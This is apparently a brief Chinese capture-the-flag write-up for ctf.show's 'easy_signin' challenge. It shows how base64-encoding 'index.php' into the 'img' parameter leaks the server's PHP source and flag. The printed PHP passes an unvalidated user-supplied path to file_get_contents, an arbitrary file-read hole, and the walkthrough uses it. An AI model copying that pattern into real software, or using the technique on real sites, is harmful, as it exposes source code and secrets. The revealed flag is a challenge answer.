https://ctf.show/challenges#easy_signin-3967

2023愚人杯

信息检索，在请求荷载中发现一个base64

face.pngencode
ZmFjZS5wbmc=

解密结果

flag.pngencode
ZmxhZy5wbmc=

尝试一下

返回内容

Warning: file_get_contents(flag.png): failed to open stream: No such file or directory in /var/www/html/index.php on line 18

看看能不能直接拿到php文件呢

index.phpencode
aW5kZXgucGhw

把返回的base64编码进行解码

记住去除前面的 data:image/png;base64,

PD9waHAKLyoKIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KIyBAQXV0aG9yOiBoMXhhCiMgQERhdGU6ICAgMjAyMy0wMy0yNyAxMDozMDozMAojIEBMYXN0IE1vZGlmaWVkIGJ5OiAgIGgxeGEKIyBATGFzdCBNb2RpZmllZCB0aW1lOiAyMDIzLTAzLTI4IDEyOjE1OjMzCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQojIEBsaW5rOiBodHRwczovL2N0ZmVyLmNvbQoKKi8KCiRpbWFnZT0kX0dFVFsnaW1nJ107CgokZmxhZyA9ICJjdGZzaG93ezk5YmRjNWI2LWUyMGItNGNiNi1hMDM4LTY3MzQ4YmUwOTdjMX0iOwppZihpc3NldCgkaW1hZ2UpKXsKCSRpbWFnZSA9IGJhc2U2NF9kZWNvZGUoJGltYWdlKTsKCSRkYXRhID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkaW1hZ2UpKTsKCWVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsJGRhdGEnLz4iOwp9ZWxzZXsKCSRpbWFnZSA9IGJhc2U2NF9lbmNvZGUoImZhY2UucG5nIik7CgloZWFkZXIoImxvY2F0aW9uOi8/aW1nPSIuJGltYWdlKTsKfQoKCgoKdecode<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-27 10:30:30
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/$image=$_GET['img'];$flag = "ctfshow{99bdc5b6-e20b-4cb6-a038-67348be097c1}";
if(isset($image)){$image = base64_decode($image);$data = base64_encode(file_get_contents($image));echo "<img src='data:image/png;base64,$data'/>";
}else{$image = base64_encode("face.png");header("location:/?img=".$image);
}

直接拿到flag